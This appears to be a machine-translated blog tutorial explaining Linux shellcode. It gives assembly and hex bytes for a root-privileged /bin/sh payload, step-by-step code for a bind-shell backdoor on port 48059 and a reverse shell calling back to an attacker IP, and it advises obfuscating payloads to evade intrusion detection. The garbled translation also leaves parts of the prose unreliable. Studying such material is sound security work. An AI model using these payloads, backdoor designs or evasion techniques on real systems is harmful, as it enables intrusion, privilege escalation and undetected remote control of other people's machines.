For people who are initially exposed to network security, Shellcode is a very mysterious thing, for the network attacks in the process of sniffing information, vulnerability analysis is understandable, but the real exploit when the intrusion, by putting a section of binary code into and execute, you can get the control of the target machine, After the thing is that the enthusiasts learn technology, or hacker behavior, look at the weakness of the attackers. Shellcode is like a mysterious weapon, and security protection becomes so fragile. What kind of program is Shellcode? What is the special code? How can you learn to write? I have collected several kinds of common shellcode, mainly to learn to use. It is also a general software program, mainly because the binary code of "not readable", adding to the mysterious color.
Shellcode refers to a self-contained binary code that can accomplish special tasks, depending on whether the task may be to emit a system call or to establish a high privilege shell,shellcode. Its ultimate goal is to obtain control of the target machine, so it is generally exploited by the attacker to carry out the system into the system, so as to obtain special permissions of the execution environment, or to set themselves a privileged account. Shellcode has some differences in operating systems, for example, Linux.
Shellcode is a piece of highly skilled software code, in order to small and fine, generally written directly into the 16 operating code, of course, the writer generally uses C or compilation, and then through the assembler to become a 16-system operation code.
1. Get special permission: The target of an attack is usually a suid (highly privileged System program) program, because it can have higher privileges to execute commands (such as password fixing, etc.), and a good suid program will discard excessive privileges when unnecessary, and then reset access privileges when necessary. Setreuid is a real and valid user ID used to set up (restore) a process. Of course, you can set the root (0) permission.
XOR EBX,EBX parameter one: Real user ID (ruid) =0
XOR ecx,ecx parameter two: valid User ID (euid) =0
XOR Eax,eax
MOV al,0x46 system call 0x46
int 0x80 set SETREUID (0,0)
With root (0) User rights, the system is basically your command.
2, the implementation of/bin/sh: with the privileges, but also have a "studio", the shell is commonly used in Linux console, get a privileged shell, you can "casual" work. Building a shell is not complicated, generally using the EXECVE call to execute the/BIN/SH software
Char *shell[2];
Shell[0]= "/bin/sh";
shell[1]=0;
Execve (Shell[0],shell,null);
The call C language is simple to write, and the corresponding assembly code is not complex:
XOR Eax,eax eax=0
push EAX Eax=null
Push 0x68732f2f pressure Stack//sh
Push 0x6e69622f pressure Stack/bin
mov ebx,esp ebx=esp point/bin/sh
push eax eax=null End stack null
Push EBX parameter 2 ebx point to/bin/sh
MOV ecx,esp parameter 3 ecx pointing ["/bin/sh", NULL]
XOR Edx,edx Parameter 4 edx=null
mov al,0xb parameter 1 eax=0xb
int 0x80
Combined with the above two parts, the most common shellcode, the 16 code generated is as follows (a total of 35 bytes):
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80 Setreuid (0,0)
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1
\x31\xd2\xb0\x0b\xcd\x80 ; Execute/bin/sh
This column more highlights: http://www.bianceng.cnhttp://www.bianceng.cn/Network/Security/
The code can be placed inside the buffer and executed through a pointer function call. When the execution rights are obtained in such a way as buffer overflow, this code can be run to open a shell interface with root (0) permissions.
Shellcode on different occasions, there may be strict restrictions, such as the command line overflow vulnerability, not too large, there is no valid space to store code, so the length of the code to be strictly streamlined. The requirement for length in SQL injection is more stringent, so many of the industry's popular, excellent shellcode are the result of a variety of techniques. Shellcode is a general designation of attack injection code, not necessarily open shell, according to the characteristics of the vulnerability program itself there are many changes, interested friends can collect from the Internet.
3, binding to the port of the Shellcode
Using Shellcode to open a port (communication service) on the target computer and bind the shell to the port, an attacker can discard the port used at the time of the intrusion, which is equivalent to establishing a backdoor to the system on the target machine. The port can establish a connection for intruders at any time because the shell is open, so it is equal to the console that establishes the remote control target.
Opening a service is inseparable from Socket,socket defined as a port and a binding of an IP to a process.
A) Establish a local IP socket,tcp
int server
Server=socket (2,1,0)
b Establish a SOCKADDR_IN structure with IP and port
struct sockaddr_in server_addr
The address of the server_addr.sin_addr.s_addr=0 socket is set to the local address
The port of the SERVER_ADDR.SIN_PORT=0XBBBB socket is set to 0xbbbb=48059
server_addr.sin_family=2 protocol family is IP
C Bind the port and IP to the socket
Bind (server, (struct sockaddr *) &server_addr, 0x10)
D to start the socket in listening mode: Open the port and wait for the connection
Listen (server, 0)
e when there is a connection, return a handle to the customer
int client
Client=accept (server, 0, 0)
f the handle to be returned, copied to the screen of stdin, stdout, Stderr,shell output to the attacker (client)
Dup2 (client,0)
Dup2 (client,1)
Dup2 (client,2)
g) invoke the ordinary Execve execution shellcode
Char *shell[2];
shell[0]= "/bin/sh"
Shell[1]=0
Execve (shell[0], Shell, 0)
4, reverse connection of the Shellcode
When the target computer is behind a firewall, the firewall does not allow the outside computer to actively access the target machine. So even if you use the top shellcode to set up a service back door, you still can't connect to the target computer. The implication of a reverse connection is that the target computer is connected to the attacker via a specific IP (attacker's) and port, or it can be set up to initiate the connection at a fixed time period.
Many Trojans use this way, active connection with the manager of the Trojan horse, "God does not know, unnoticed" to the target computer to join a "zombie network" of triad gangs.
A) Establish a local IP socket,tcp
Int Soc
Soc=socket (2,1,0)
b Establish a SOCKADDR_IN structure with IP and port
struct sockaddr_in server_addr
The address of the SERVER_ADDR.SIN_ADDR.S_ADDR=0X660A0A0A socket is set to 10.10.10.102
The port of the SERVER_ADDR.SIN_PORT=0XBBBB socket is set to 0xbbbb=48059
server_addr.sin_family=2 protocol family is IP
c) Establish a reverse connection connect
int remote
Remote=connect (Soc, (struct sockaddr*) &server_addr, 0x10)
D Copy the socket to a stdin, stdout, Stderr,shell output to the attacker's screen
Dup2 (soc,0)
Dup2 (soc,1)
Dup2 (soc,2)
e) invoke the ordinary Execve execution shellcode
Char *shell[2];
shell[0]= "/bin/sh"
Shell[1]=0
Execve (shell[0], Shell, 0)
Note: 10.10.10.102 is the address of an attack machine outside the firewall, at which point a service that listens on port 48059 will be started
5, avoid the filter of IDs
Because the classic shellcode is not a lot of versions, most people are using the same shellcode, very few people write their own. So IDs vendors to extract common shellcode fingerprints as a "feature" of the attack behavior, many of the attacks are exposed to the monitoring of IDs, network managers can quickly know that you are inside his network, and then take "capture" measures.
So, hide fingerprints, transform code, Shellcode is also constantly updated. There's a lot of technology here. An interesting idea: because the basic function of shellcode is to entice the target machine to execute these instructions, the target code is easily detected by IDs or systems when it is transmitted and stored, so it is a good idea to restore the original appearance before it is executed. So someone by simply shifting the code, "Encryption" after the code does not have any "meaning" to perform before the reverse shift, the probability of detection is much smaller, this way to avoid IDs is very effective.
This article is from the "Jack Zhai" blog, please be sure to keep this source http://zhaisj.blog.51cto.com/219066/61428